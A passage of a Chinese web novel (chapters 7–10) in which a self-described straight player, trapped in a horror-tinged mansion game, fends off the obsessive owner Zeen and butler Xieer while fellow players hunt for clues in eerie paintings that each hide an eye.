程朔耳朵痒痒的，这么些时间，他整个人都快不像自己了，陌生到让他惊恐。
这垃圾游戏玩通关了不会让他从直变弯了吧？
“你松开我。”程朔说。
“你会跑。”泽恩扣住他的双手，压在头顶。
姿势太过尴尬，没了手臂，整个人好似被剥开外衣的糖果，有种一览无遗的羞耻感。
程朔挣扎，没挣脱，那只手并没用力，也没让他感到难受，但他拼尽全力都没甩开。
这游戏绝对把他的力气削弱了，伊索的身体太废了。
无语到极致人反而冷静下来，程朔思考着对策，忽然听见平稳均匀的呼吸声。
还在想怎么抗拒的程朔：“……”
泽恩睡着了，以侧着身，压着他手腕的姿势。
程朔久久地回不过神，脑子里都是他之前说的话。
说睡一觉还真是睡一觉，这游戏根本让人猜不到。
自己刚刚的乱想算什么？程朔整个人都麻了。
他尝试抽出自己的手，睡着的泽恩似乎发觉了，用力圈紧。
程朔只能僵着不动，多少有些庆幸泽恩只是抓着他的手，并不是抱着他睡，不然更要爆炸。
这个想法才刚出现，压着他手腕的那只手倏然收回，程朔还没惊喜，下一刻又被紧紧抱住。
程朔根本动弹不得，怕惊醒泽恩。
毕竟比起来清醒的，他更喜欢睡着了不说话的泽恩。
时间一分一秒过去，程朔僵着的身体不知何时开始放松。
床太柔软舒适，再加上泽恩怀里还挺舒服，他逐渐有了困意，眼皮子胡乱打颤，好几次都闭上又猛地睁开。
到最后甚至不知道睡了多久，程朔咬了咬舌尖让自己清醒，尝试拿开泽恩的手。
这次没有任何阻力，他松了一口气，一点点挪下床，偷摸猫着腰准备离开。
摸索着到门口，程朔忽然想起找线索这回事。
没有什么能比宝藏主人的房间更值得翻找的了。
他果断转身。
没有光照亮，程朔扶着墙走了半天，终于来到一张桌子前，在上面摸了摸，找到类似于手电筒的东西。
他不敢贸然拿起，摸了几下确定是才拿起对着掌心尝试打开。
微弱的光线亮起，终于能看清室内，程朔用掌心盖着，借着透出来的光打量了眼周围。
除了桌子和床外没多少东西，方便他翻找，程朔目光落在床上。
躺在床上的男人从这个角度无法看清面容，只能看到清晰优越的下颚线。
他的睡姿非常笔直，双手略微交合放肚子上，完美的姿势太适合强迫症观看。
程朔甚至怀疑他是不是醒着，不然谁睡觉姿势这么标准。
没多少时间找线索，程朔收回目光，先去卫生间转了圈，没什么值得注意的，他返回房间仔细转悠，最后来到那张书桌前。
桌面上摆满了书籍，程朔努力放轻动作拉开抽屉。
里面东西放置整齐到让程朔怀疑泽恩是不是也有强迫症。
钥匙和风景照，没什么特别的，程朔弯着腰往里面瞅了眼，那一刹那，从身后传来强烈的注视感。
他吓得双腿都软了，确定四下静默，什么都没有才慢慢转过去。
身后床上之人依旧是那个姿势，没有丝毫变化。
程朔怦怦乱跳的心这才安静下来，继续弯腰看向里面。
让人惊喜的是里放着一本日记本，程朔拿起打开，瞬间后悔了。
第一页用优美的字体写着一堆爱好，其中最为明显的是日记本主人喜欢美好却脆弱的东西，喜欢人在自己面前害怕发抖，需要自己保护。
有点变态，不用想就知道是泽恩写的。
这字还挺符合他本人的，扫一眼漂亮有力，细看充满危险。
上面只有第一页有字，后面全部空白，程朔大概翻了下，直到翻到最后一页。
这次有了字，一整页的伊索，字迹不停变化，看的出从耐心变得失去控制，到最后充满疯狂。
程朔惊出一身冷汗，手中拿着的手电筒微微滑落，他下意识去接，这边刚接住，日记本又掉了。
程朔手忙脚乱地抓住日记本，深深地呼出一口气。
还好接住了。
程朔小心合上日记本，打算放回原位，身后倏然响起窸窸窣窣声。
他一顿，放回的动作停滞，眼瞳因为突如其来的变故微微放大。
一秒钟后，饱含笑意的嗓音从身后响起：“你发现了？”
也许因为刚睡醒，那声音中还带着一丝慵懒，听着像恋人间随口一问。
程朔压力十足，硬着头皮放下日记本，合上抽屉，扭头试图解释：“不是我想看，这是无意间看到的，我来找水喝。”
床上之人依旧躺着，只是从笔直的睡姿变为了侧躺着，一手撑着侧脸，满脸温柔的笑意，可被光照亮的眼底却没有沾染一
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点笑意。
那稍许散漫的视线落在他身上，带着一种高山般的压迫感而来，宽阔的房间变得逼仄，呼吸短暂困难，程朔浑身别扭，这一刻只想跑出这个房间。
泽恩朝他抬手勾了勾食指，示意过去。
不容置喙的动作让程朔勉强扯出一抹笑。
之前只是正常睡觉，谁知道现在把他叫过去是干什么，万一真是他想象的，那就完了。
程朔脸上写满抗拒，或许是泽恩看出来了，放下手直勾勾地望着程朔片刻，倏然坐起身。
随着他的起身，程朔犹如炸毛的猫，往后退了一步，腰抵在了冰冷的桌边。
他浑身一抖，觉得自己这样太不符合人设，强行瞪大眼睛，表现出一丝愤怒用来撑着自己的底气。
“你不过来，只能我过来了。”泽恩走下床，抚平略微凌乱的衣服。
程朔这才发现他穿的是睡衣，尽显慵懒。
等反应过来，又被抱起扔在了床上。
手电筒掉在地上，不知滚到何处，只剩下更加微弱的光。
他从头到脚绷直，满眼警惕，试图用冰冷的眼神阻止泽恩。
泽恩躺在他身侧，抓住他的手腕，眼睛一闭又睡过去了。
程朔：“……”
梅开二度。
不过他这么乱翻，这主人什么也不问，也不在乎直接就睡着了。
是不在乎，还是故意让他看到的？
程朔想不明白，翻个身，整个人差点亲上泽恩的脸。
他吓得脑中警铃大作，往后退去。
透过手电筒的光，程朔盯着近在咫尺的脸，略微晃神。
非常完美的一张脸，睡着了宛如画出来的，比醒着要赏心悦目多了，毕竟少了那种锐利危险感。
程朔越看越觉得泽恩长得好看，见他睫毛那么长，在下方投射出淡淡的阴影，忽然生出拔下来的冲动。
按照伊索的性格还真能做出来。
不过为了他的小命着想，还是算了。
程朔被自己的想法差点逗笑，努努嘴，再次试图翻身时，泽恩突然靠近抱住他，整个人快压在他身上。
空间还有很多，只是脑袋离得近，程朔仍旧有种呼吸不上来的错觉。
他手放在脑袋上，试探性推了下，不仅没推开反而更近了，唇就贴在他的唇角，程朔动一下就能立刻触碰到。
他咬牙努力挪开脸，全程打着十二分注意力，结果在逃离危险地带，好不容易能放松一点时，泽恩再次靠近。
这一次唇准确无误地碰到了他的唇角，虽然只是一瞬间擦过，根本算不上亲吻，还是让自诩直男的程朔当场石化。
他甚至还能感觉到那像果冻一样柔软冰凉的触感。
发觉自己似乎在回味，程朔差点化身尖叫鸡，看着没有动静的泽恩，他抬手又放下，最后在那张好看的面容诱惑下没有动手。
擦过而已，应该不是故意的。
按照泽恩的变态程度，真想亲的话，估计直接亲了，才不会来这么一个算得上暧昧又不算的动作。
成功把自己催眠到冷静，程朔用手指擦了两下被碰过的地方。
可能是手指太用力，唇角火辣辣的，让他更生出几分恍惚。
放下手，一抬头对上双深沉到不可窥出情绪的眼睛，程朔一愣，大脑越发空白。
8. 第八章
第8章
“你什么时候醒的？”他语气没控制，拔高数倍。
“刚刚。”男人扬唇一笑，却没有多说什么，抱着他继续闭上眼，“睡一会儿吧。”
不知道是受泽恩说话影响，还是精神紧绷太久累了，这话之后，程朔眼皮子开始疲累。
他让自己不要睡，但那些纷乱的思绪像是海中的鱼，不受控制地游向深暗处，直至被彻底包围，一刹那失去所有意识。
……
程朔猛地睁开眼，整个人仿佛被人用胶带缠住了一圈，难以动弹半分。
他努力侧了点身，发现泽恩整个人都快压在他身上，抬手用力推开。
难得泽恩没他的动作醒来。
房间黑漆漆的，手电筒可能没电了，程朔迷迷糊糊地想着，再次睡过去。
或许是潜意识中知道自己睡觉的场地不合适，没多久，他就从睡梦中惊醒。
外面天似乎亮了，灿烂的阳光从被拉开的一点窗帘缝隙照射进来。
泽恩不在床上。
程朔爬起，注意到地上没电的手电筒，捡起放在桌上，随后去研究窗帘是什么布料，这么遮光。
看半天没看出布料，程朔用力将窗帘拉开，刺眼的眼光让他往后退了几步，连忙挡住眼睛。
泽恩不知道去哪里了，正好可以继续找线索。
房间里能藏东西的地方太少，程朔走到墙边，各种敲击，侧耳认真分辨着声音。
直至走到靠近床的角落，发现声音不对劲。
他后退两步敲击，对比着声音，确定前者沉闷，后者空灵，应该是有空间。
程朔站在角落前仔细摸索着，很快看到下方有一块颜色与周围不太融入，手指刚碰到便往下陷，露出巴掌大的空间。
他怔住片刻，按耐住内心的欣喜，伸进去摸了摸，是一个小箱子。
说不定就是宝藏，他可以离开这个充满变态的神经病游戏了。
程朔小心翼翼地拿出箱子，没有上锁，直接打开。
看到里面的东西他差点想直接把手中的箱子扔掉。
那是一张照片，从上往下的偷拍角度。
照片中的人穿着洁白的衬衫，黑色西装裤衬得双腿尤为修长笔直，干净白皙的脸上写满无聊，鼻梁上架着的无框眼镜给他整个人增添了几分斯文感。
程朔下意识以为这是泽恩偷拍的伊索，往下一看，底端标注了日期。
是昨天拍的，所以是他自己。
程朔头疼，不知道是此宝藏非彼宝藏，还是因为这张偷拍照。
想起之前看到的日记本，他确定了一个事实。
——泽恩是个非常危险的人。
他得赶紧找线索拿到宝藏离开这里，不然谁知道后面会发生什么难以把控的事。
程朔将照片放进口袋，合上箱子塞回去，把墙复原后认真观察天花板，确定没有能藏东西的地方，打算离开房间去别处找线索。
门打开，迎面对上一张无法忽略的俊脸，程朔步伐停顿，手放在裤子口袋，莫名有些心虚。
这照片拍的是他，不问自取应该没事吧。
走廊里亮着灯，除了眼前的泽恩外再无他人，程朔收回目光，努力让身体变薄些，试图绕开泽恩。
“伊索先生睡得好吗？”泽恩唇角上扬，朝他伸出手。
程朔浑身紧绷，后退一步，背脊抵在门框上，注意到泽恩眼底闪过红光。
他以为自己看错了，定睛一看，泽恩的眼睛不知为何变得有些红。
手被握住，温柔地向上抬，眼看就要靠近泽恩的唇，程朔反应过来，各种挣脱。
什么恶趣味，他浑身发麻，努力躲了下。
泽恩没有再靠近，而是定定地望着他。
对上那双泛着红光的眼睛，程朔整个人像被按在原地，理智徘徊于模糊边缘，忘记挣脱这回事。
泽恩垂眸，神色虔诚地在手背落在一吻。
柔软冰凉的触感让程朔想起躺在床上时算不上吻的触碰，脸颊一燥，用力抽回。
他迫切地需要转移注意力，来打消心里荒唐的羞涩感，目光落在泽恩已经完全变红的眼睛上，忍不住问：“你是吸血鬼吗？”
眼睛怎么说变红就变红了。
泽恩“噗嗤”一声，被他的话逗笑。
程朔刚在心里想他这么笑起来变得亲近多了，脸上多了一只手。
身形高大的男人用手指摩挲着他的脸颊，缓缓凑近，红色显得危险的眼睛充满肆无忌惮的笑意。
他似乎觉得很有趣：“你是在害怕我的眼睛吗？”
“怎么可能。”程朔说，觉得气势不够，沉下嗓音说，“我只是好奇，正常人谁有红色眼睛？”
“我不是吸血鬼，只是小时候受过伤。”泽恩淡声开口。
呼吸洒在脸上，痒痒的，程朔被他的话吸引，好奇他小时候受过什么伤，完全没注意泽恩看他的眼神越发幽暗。
脚步声从前方响起，有人正在靠近这边。
泽恩收回手，却没有远离。
管家谢尔停在两人身边，或许是注意到他们之间距离太近，周身又明显充斥着暧昧的氛围，面色有一瞬间的变化，也仅仅只是一瞬间，又重新挂上管家式标准礼貌的笑容。
“下面有人闹起来了。”
泽恩没有多问，转身往楼下去。
程朔还在吐槽他这人情绪来得快，去得也快，注意到走廊又只剩他和管家，抬脚就想离开。
只不过才走两步，脑袋直接撞到一处柔软，他猝不及防抬头，谢尔停在他面前，刚刚撞到的应该是他的胸肌。
伊索其实并不高，程朔猜测最多一米七五的样子。
谢尔比他高出很多，站在他身前几乎挡住了所有光。
男人脸上的笑容不知何时变淡了，垂眸低头间阴影袭下，程朔瞬间被笼罩其中，有种难以呼吸的怪异感，不自觉想往旁边挪动两步。
谢尔伸手拦住他的动作，那张变得晦暗不明的脸一点点俯下来。
走了一个变态，又来了一个变态。
伊索到底是什么体质，这么招变态。
程朔心里骂骂咧咧，面上强行挤出一抹笑，正思考是打一拳，还是对着腿来一脚时，谢尔已经贴近。
鼻尖相碰的刹那，程朔望着近到只能看到的眼睛，微微愣住。
呼吸交缠，分不清彼此，心脏因为从没与人这样近过漏跳了一拍，他热到掌心开始出汗。
两人的姿势看起来无比暧昧亲密，从远处看就像是热恋中控制不住，不断想要拉近距离的小情侣。
谁也没有看见，楼梯处的地板多出一道倒影，很快消失。
谢尔说：“伊索先生想要选择一个人的话，不如选择我，我比他们更适合伊索先生。”
思绪回笼，程朔疯狂眨眼，不明白他这话是什么意思，但那话中的他们不言而
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喻。
撇开真正的意思不说，管家确实更合适，说不定还能挖出宝藏线索。
但他是直男，不喜欢男人，没办法搞恋爱，而且根本猜不出谢尔想对他做什么。
程朔抬手按住谢尔的脑袋，用力推开，故意皱眉呵斥：“对客人没有最基本的尊重，我要投诉你。”
谢尔表情冷淡地注视着他，程朔不想与他对视，刻意避开。
僵持两秒，谢尔忽然笑了笑，脸上满是歉意：“抱歉，尊贵的客人，是我失礼了。”
故作客气的语气、和之前不太相同的笑意都让程朔心底发毛，总觉得这管家透着一种说不出的阴森。
“伊索先生请好好考虑一下我的话。”管家伸手抚摸着他的头发，将他的刘海一点点整理好，挑起一束在指尖勾弄着。
指节抵着额头，或许是身体对这种情况已经习惯到麻木了，这次倒是没什么反应。
程朔发现谢尔的手指很冷，低于正常人的温度。
一个两个都对他不怀好意，不知道其他玩家是不是和他面临的情况差不多。
这游戏总不能就光针对他吧。
想到这，程朔眉头越发紧皱，拍开谢尔的手，不耐烦说他“没礼貌”。
“伊索先生不是比较喜欢这种没礼貌的行为吗？”
意味深长的一句话让程朔大脑机械又机械，此刻非常迫切地想知道，伊索到达别墅后到底做了什么事，以至于他陷入这么被动的情况。
程朔没有回答谢尔的话，不想继续与他纠缠，挺直背脊，越过谢尔往楼下走去。
＊
大厅确实出了事。
有人打碎了餐桌上放着的名贵盘子。
碎片满地都是，罪魁祸首站在一旁手脚无措，满脸慌乱。
泽恩坐在主位上，盯着那堆碎片没有说话，不知道在想什么，由于低着头也看不清具体的神情。
“抱歉，我真的不是故意的。”打碎的盘子的玩家又一次道歉，依旧没有得到回应。
场面一时之间陷入了诡异的僵持中。
程朔看到泽恩抿了下唇，似乎是比起打碎东西，更像是对玩家求饶的话产生出不耐。
其他玩家都在，程朔悄悄挪动，打算找个人问问和这些NPC接触的情况。
他现在怀疑这不只是简单的闯关游戏，有点偏于攻略游戏，不然不可能两天才提一下宝藏的事。
程朔停在距离自己最近，看上去挺好说话的男人身旁，歪着脑袋坦言问：“我问一下，那些人有没有对你……”
他扭捏几秒，找到形容词：“动手动脚的？”
长着一张娃娃脸，怎么看怎么可爱的男玩家闻言睁大了眼睛，不明道：“什么意思啊？”
“就是说一些奇怪的话，做一些奇怪的事。”程朔补充。
娃娃脸眼睛睁得更大：“什么怪话？什么怪事？”
脑海里出现那些暧昧的话与场景，程朔张不开嘴，看着男人的脸无奈沉默。
“三楼我去逛了下，没发现什么特别的就回自己房间找了找，然后天就黑了。晚餐又没吃，也不能离开房间我就睡着了，早上吃过饭没多久就出现这个事了。”
娃娃脸看出他犯难，主动开口。
那就是他和NPC完全没接触。
程朔微怔——难不成别人玩的闯关游戏，他玩的被攻略游戏。
所以这些NPC只揪着他走一些变态的剧情？
9. 第九章
第9章
他绝对要投诉。
但这游戏连规则方面都没彻底完全，更别说投诉功能了。
程朔长叹一声。
娃娃脸问怎么了，程朔有苦说不出，转移话题：“你叫什么名字？”
说话期间，他一直维持着伊索的人设，语气中带着明显的傲慢。
娃娃脸脾气好，并不计较，反而热情介绍：“我叫长……李河山。”
程朔刚要说自己的名字，李河山弯眸道：“我知道你的名字，你叫伊索，对吗？”
程朔点头，注意力重新落在泽恩那边。
男人换了个姿势，面无表情地看着这边。
他的眼睛已经恢复原来的颜色，深黑到像晕染了一团浓墨，虽然让人分辨不出眼底的情绪，却带有强烈的压迫感。
程朔下意识往旁边挪了下，见他视线跟着自己动，确定是在看自己。
他撇嘴，伸出食指和中指对准自己的眼睛，又指指泽恩，警告他不许再看自己。
不知道是动作还是什么，竟惹得泽恩笑了。
其他玩家看上去因为他的笑容放松很多，程朔却做不到，反而更为警惕。
毕竟变态笑起来能有什么好事。
“把东西收走。”泽恩站起身，没再看那堆碎片，“不值什么钱，不用道歉，该干什么就干什么，我不希望时间到了你们什么都没找到。”
“这会让我觉得找你们来是一个愚蠢的决定。”他没有看其他人。
无人说话，大厅过度沉默的氛围让人觉得压抑。
程朔抓了抓耳垂，非常想把伊索的性格贯穿到底，直接发疯发癫。
给他个机会，让他创飞这游戏。
昨天中午和晚上没吃饭就算了，早上也没吃到，程朔肚子开始发出“咕噜”的抗议声。
他捂着肚子，本来还有点尴尬，对上泽恩的目光忽然醒悟，大声嚷嚷：“我饿了，我要吃饭，都什么时候了？还不开饭。”
正在收拾碎片的谢尔背对着程朔开口：“我这就去准备。”
原本还十分耐心的动作倏然加快，捡起碎片时，他的手指划过锋利的边缘，鲜血瞬间流出，在白色的瓷片上格外殷红显目。
“滴答。”血顺着瓷片流淌在地板上，程朔光看着就一阵肉疼。
泽恩居高临下地望着谢尔，一个字没说，但冰冷的眼神已表明自己的不悦。
谢尔迅速起身，带着碎片离开。
泽恩坐在主位，程朔虽然抗拒，也只能乖乖坐在他身侧。
好在这次并没发生什么。
没多久，谢尔推着餐车出现。
程朔注意到那根划破的食指缠了一层纱布，估计伤口很深，只做了简单处理，鲜血再次渗出，染红了纱布。
他收回目光，怕自己再多看一眼会引起不必要的误会。
午餐是炒菜。
二十盘不同的菜陆续放在桌上，香味馋得程朔整个人都活过来了。
是他喜欢的辣菜。
程朔总算对着该死的游戏有了那么一点喜欢。
饭菜上齐，泽恩拿起筷子，其余人纷纷跟着，在他动筷后迫不及待地开始品尝。
每道菜都泛着热气，味道鲜美，好吃到让人说不出话。
程朔好奇这饭菜是游戏自动有的，还是谢尔准备好的。
要是后者，这个管家当得未免太累。
想到这，他忍不住瞥了眼恭敬站在一侧的谢尔。
对方略微低头，双手置于腿前，手指上彻底被血浸透的纱布格外刺眼，他却像感觉不到疼痛般，沉静的面容没有一丝表情变化。
似乎察觉到他的目光，原本垂下双眸的谢尔抬头看来。
程朔忙不迭转移视线，发现泽恩在盯着自己。
总有种修罗场的感觉……
程朔假装低头，认真吃饭，忽略泽恩过于强烈的目光。
吃饱喝足，他同其他玩家一样放松下来。
这是午餐，晚餐很有可能又没有，所以程朔故意吃得很饱。
他摸摸肚子，不知道今晚那两个神经病会不会来。
之前去三楼也没能确定两人的身份。
程朔越来越心不在焉，饭后水果都吃得味同嚼蜡。
泽恩看出他在走神，插起一块西瓜放在他的嘴边，温柔开口：“伊索先生，请张嘴。”
程朔被这不能深究的语气激得浑身一抖，对上其他玩家惊奇打量的目光恨不得遁地逃走。
嘴边的西瓜吃也不是，不吃也不是。
他咬咬后槽牙，犹豫三秒，恶狠狠张嘴吃下，还故意没有道谢，只说西瓜不够甜，汁水不够多。
泽恩微笑望着他，又插起哈密瓜送来，眼角眉梢全是宠溺：“那来尝尝这个。”
这样子跟情侣有什么区别？
——没有区别。
在场玩家包括程朔本人都这么想。
他这次十分抗拒，抓起苹果咬了一口，翻着白眼表示自己不稀罕泽恩的投喂。
“好吧。”泽恩吃掉哈密瓜，放下叉子，起身道，“午饭结束，大家的宝藏找得如何？有线索了吗？”
大厅沉默一片，所有玩家闭口不谈。
“看来各位还是不够努力。”泽恩不冷不热地开口。
大海捞针，努力也没用，程朔内心嘀咕着。
泽恩面色冷漠地离开，谢尔收拾着桌上东西，程朔情不自禁地去看他的伤口。
染血的纱布不知何时换了，新的又在渗血。
这人好笨，两次都没包扎好。
心里这么吐槽，程朔目光却不由自主随着他那双修长好看的手挪动。
谢尔很快收拾完，临走前他看了程朔一眼，冲他一笑。
不含任何意思的笑容让程朔一怔，觉得他肯定发现自己一直盯着他伤口看，低头假装无事发生。
谢尔和泽恩一离开，大厅的玩家自由活动起来，苏南焦急地站在程朔身边：“我还没问你之间去哪了，一眨眼你就不见了，我也不敢叫，三楼没找到只能来一楼。”
没等程朔回答，他再次开口：“我还以为三楼有什么地方吞人，吃完早餐又上去找了下。”
两人关系也不过是临时凑在一起找线索的搭子，自然没多熟悉，所以苏南能做到找他两次就很不错了。
程朔微笑道谢，无法把自己昨天碰到的情况说出来，想了想解释道：“当时进了一间房，不知道为什么就睡着了，醒来就到今天中午了。”
“什么房间？”听见他进三楼房间了，苏南脸色一变，着急问，“有什么线索吗？”
有，还就在他口袋中，可惜不是宝藏。
“没有。”程朔说，“找了一圈，没有任何线索。房间应该是……”
他犹豫几秒，说：“估计是那个男主人的房间。”
“你进他房间了？你俩没碰面？”苏南表情怪异到连声音都变了，“今天早上我去三楼的时候，看他进房间了。”
程朔笑容更多：“那可能我进的不是他房间，总之没有线索，要继续找。其他人有情况吗？”
“除了一个叫李河山的人找到了一点，其他人都没发现。”
“他发现了什么？”程朔总觉得这名字有点耳熟，视线扫过玩家，停在之前和自己说话的娃娃脸上。
好像就是他，李河山。
“三层楼，一共四十八幅画，都是一个人画的。”苏南低声说。
这不算什么线索，但比起他们这群什么都没找到的无头苍蝇，已经算是了。
别墅里的画太多，说不定真能挖掘出什么。
程朔看着大厅里的十几幅画，不知道是不是他的错觉，看这些画久了，他会产生一种非常奇怪的感觉。
就好像画中有旋涡，能将他的精神与意识吸进
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去。
“你看什么呢？”苏南注意到他一直目视前方发呆，伸手拍拍他的肩膀。
程朔肩膀一颤，骤然清醒，头晕乎乎地指着那些画：“这画绝对有古怪。”
“什么古怪？”苏南顺着他的手指看去，会错意思，“确实，谁画画能画得这么诡异？你看二楼的画多正常，都是风景，三楼的大气，这一楼的……说是一个人我都不相信。”
“不是那种意思。”程朔解释道，“这画看着能把人吸进去一样”
他再次看向那些画，只是这次不敢一直盯着一处，上下打量着。
离他们最近的一幅画是一只从高楼上抛下的断手。
断手正往下坠，灰色调显得整幅画格外怪异诡谲。
引起程朔注意的是高楼楼梯门后隐匿着一只红色的眼睛。
看到那只眼睛的刹那，一种阴寒森凉感传遍全身。
程朔蹙眉：“这画太让人不适了。”
这只是其中一幅，还有那么多，怪不得这别墅里的主人和管家这么变态。
常年跟这些东西在一起，是他也会扭曲阴暗。
“没感觉到你说的能把人吸进去。”苏南几次张望都没发现什么，“说不定你有绘画天赋，和画这个的作者有共鸣。”
程朔没说话，环顾四周，不少人跟他一样在打量着画，试图发现什么。
别墅看上去挺大，挺壮观，但其实真没什么能藏东西的地方。
目前来说，能找到线索的除了三楼打不开的房间，就只有这些画。
再加上无论是游戏还是小说，画有古怪是最多最常见的设定，程朔觉得应该好好研究这些画。
他正这么想着，已经有人拿下一幅画开始研究。
“你乱动什么？”其他玩家不高兴道，“刚刚那个人打碎盘子够吓人了，你还随便乱拿，出事了怎么办？”
“哦，那就出事呗。”取画的人极为大胆狂傲，对于说话提醒的玩家极为不屑，撇嘴继续看画。
程朔趁机打量这幅画后的墙壁，没看到什么不对。
“我们拿吗？”苏南小声问。
“不拿。”程朔随口道，“我才不会做这种愚蠢之事。”
苏南觉得他说得有道理，忍住想拿画的冲动。
程朔对伊索的人设彻底拿捏，他现在特别害怕出游戏后自己会被腌入味。
按照伊索这性格，在现实世界分分钟挨打。
“那还是想办法进房间看看。不过既然是找宝藏，别墅哪个地方都应该开放让我们进去找才是。”苏南努努嘴，“结果现在只能偷偷破坏门锁进去。这游戏不正常啊。”
“游戏设定都这样。”程朔表面上风轻云淡，心里早已激动呐喊起来。
终于有人说这个游戏不正常了。
这就是个傻x游戏。
谁家游戏重心全花在变态NPC上！
“那现在我们尝试一下偷偷进去？”苏南挤眉弄眼道。
程朔觉得不行。
男主人泽恩太过敏锐，管家谢尔更像个摄像头，能随时随地出现在任何地方。
但除了偷偷进也没其他办法。
他随意地点点头，侧耳偷听别的玩家讨论。
“那泽恩是不是喜欢男的？去勾引一下不就有线索了。”
“不是吧，玩个游戏还勾引NPC了？而且人家都忘记了宝藏放在哪里。”
“怎么可能忘记，肯定记得很清楚，只是不告诉我们而已。再说勾引怎么了？能轻易得到线索为什么要费时费力？”
“人家喜欢男的，又不是喜欢所有男的，死心吧。”
“啊，不是有个他很感兴趣的人吗？让他去吧。”
“……”
一时间，许多玩家纷纷看向程朔。
他顿时站直身体，假装没听见。
让一个直男去勾引男的，天都要塌了。
10. 第十章
第10章
“好像说得有点道理。”苏南呢喃出声，略微兴奋地看向程朔，“要不然，你……伊索先生尝试一下？”
程朔坦言摇头拒绝：“不行。”
“为什么？”
“不行就是不行，不需要理由。”他斜睨众人，懒得多说废话。
可能是之前领教过他竖中指的行为，大家对于他这种态度和语气都不好的话竟然没什么反应。
苏南叹口气：“也是，谁知道那泽恩能做出什么，确实不能把希望放在你身上。”
程朔总觉得他的话怪怪的，不过也没多想：“说这么多没用的，不如继续研究画。”
众人这才反应过来，目光重新落在画上。
大厅十四幅画，程朔一一看完，其中最让他毛骨悚然，浑身别扭的是排列第四幅画。
暗黑色的天空下，灰色的鸟朝着向往的高空飞翔，姿势却非常奇怪：脑袋朝下，翅膀朝下。
明明这个姿势只会坠落，可它却依旧往上飞。
整幅画用灰黑两色塑造出了强烈的情绪，唯独天空中隐藏的眼睛是暗红色的。
程朔第一眼并没发现，第二眼注意到后浑身不自在。
而且他发现大厅里每一幅画都有眼睛。
十四幅画，十四只眼睛。
程朔再一次扫过所有画，刚想和苏南说这个发现，已经有人先一步开口。
“每幅画都有一双眼睛，二楼和三楼的也有。”
是李河山，他指向二楼：“虽然二楼是风景画，但也藏着眼睛，这个可能是很重要的线索。”
话音落下，大部分人都拼命睁大眼看向那些画。
“不就是眼睛吗？这可能是作者的个人习惯，眼睛能有什么线索。”有玩家开口。
“现在什么线索都没有，能发现这个已经可以了，别酸。”
“不是拿下来画没事吗？再拿其他的画下来看看啊。”
下一秒，几个人迫不及待地取下画。
“十四幅画，十四个人。”苏南忽然开口，“一人一幅吗？”
他看向程朔，等待他的回答，后面可能又认为程朔说不出什么有用的话，叫了声李河山：“你怎么不去拿？”
“我没兴趣。”李河山笑着摇头，能看出说的是实话。
“说得谁有兴趣一样。”苏南无奈，“不都是想找出线索吗？”
程朔抬头看向二楼方向。
如果他没记错，一楼十四幅画，二楼十幅画，三楼七幅画。
这些画要没线索就算了，要真藏着什么，减少的画数量不见得是什么好事。
大厅内只剩下玩家不停拿着画转动观察的声音。
“砰”一声，大厅天花板上的灯忽然炸开，光亮消失，四周陷入伸手不见五指的黑暗。
大部分玩家慌了，只有几个人相对冷静。
“不是有窗吗？大白天能黑成这样？”
“这么久了，终于有点游戏那味儿了。”
“我还以为就是个无聊找线索游戏呢，现在才变有趣一点。”
“……”
大厅确实黑过头了，窗户所在的位置一点光都没有透出，别墅外仿佛蒙上了一层巨大黑布。
周遭温度不断降低，冻得人手脚冰凉。
程朔搓搓手臂，往掌心哈了一口气。
现在灭灯，指定要发生什么，很大可能跟那些画有关。
毕竟这两天他们没动画，也没有出现这种突发状况。
“大家小心啊，肯定是动画动的。”李河山的声音从黑暗中响起。
程朔觉得他真是个聪明的好人，这时候还能想着提醒别人注意安全。
没人理他，反而对接下来会上演什么剧情十分感兴趣。
毕竟没有线索僵持着，不如出现点变动。
杂乱的脚步声回荡在大厅中，不少人在走动。
混乱之中，程朔分辨出有一串脚步声正从前方飞快朝着这边靠近。
他后退三步，怕这是对自己心存不满，想在这个时候下手的玩家。
朝他而来的脚步声停在他先前所在的位置，确实是冲他来的。
是谁？苏南吗？
程朔捂着嘴，压低嗓音喊了声：“苏南？”
“在这儿呢。”身后响起熟悉的声音，“你在哪？声音怎么这么闷？”
不是苏南还能是谁？
程朔皱起眉头，放下手，平稳地呼吸着。
“谁一直在跑？”李河山突然开口。
周围瞬间安静下来，只剩下“啪嗒啪嗒”的响动，确实像有人在不停奔跑。
否认声四处响起。
程朔侧耳，努力忽略其他人声音，分辨着那响动。
跑步声逐渐加快，到最后变得无比清晰，以至于程朔立刻听出那不是跑步声，脑海中闪过之前看到的第四幅画。
“不是跑步声。”不知道是谁开口，“我怎么觉得是一种翅膀拍打的声音？”
“翅膀？鸟吗？有幅画是不是就有鸟？”
“二楼三楼也没光，都停电了，管家和主人都不管吗？”
眼下情况明显是故意的，谁会管这种事。
扑打翅膀的声音越来越大，直到响彻头顶。
程朔倏然有种被无数双眼睛注视的不适感。
他仰头，睁大眼仔细分辨着天花板。
有什么东西在天花板
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上，黑乎乎一大片，不用看清就能感觉到那铺天盖地的窒息感。
心脏开始怦怦乱跳，汗毛倒竖提醒着危险，程朔舔了舔发干的唇，努力往后退，试图退出那片黑暗区域。
直到背脊抵在冰冷的墙壁前，他依旧处于那块区域。
这东西竟然这么大。
程朔有些惊讶，听见其他玩家也发现了天花板上有不知名的东西存在。
但看到的东西似乎不太一样。
他们能看清形状，没多大，程朔看到的压根分辨不出是什么。
“那是不是一只眼睛？我靠我靠，就是眼睛！画里面的眼睛。”
不知道是谁叫了一句，大厅陷入一种莫大的恐慌中。
“你怎么看到的？我看不清啊？”
“我白天有点弱视，夜间视力好一些，看了很久才看清。”
“你是说画里的眼睛跑出来了？”
“别吓人行不行，这又不是恐怖游戏。”
“……”
程朔耳边嗡嗡作响，玩家的声音仿佛被故意放大几十倍，变得尖锐刺耳，以至于根本听不清后面内容。
他莫名耳鸣，眼前发晕，无力感袭来，直接弯腰干呕了两声。
不适感顿时消失，紧接着便是其他玩家的干呕声。
程朔捂了下沉闷的胸口，再次看向头顶之物。
他能确定自己看到的不是眼睛，其他玩家说的话倒是让他想起来这东西像画中的另一个存在。
——那只脑袋翅膀朝下，却往上飞的鸟。
再加上之前听见的翅膀扑打声，程朔更加确定头顶的东西就是那只鸟。
难不成画里的东西真跑出来了。
不太好的预感从心底疯狂扩散，影响到眼皮也开始乱跳，程朔一手按着眼皮，一手扶着墙，满脸警惕。
在这紧张时刻，他忽然想起那个朝自己跑来的人。
现在不找出来，对他来说危险更大。
但四周黑到什么都无法看清，程朔努力眯起眼睛分辨，也只是徒劳，只能暂时放弃。
就在这时，一声闷雷炸响，大厅中只剩下玩家彼此起伏的尖叫声。
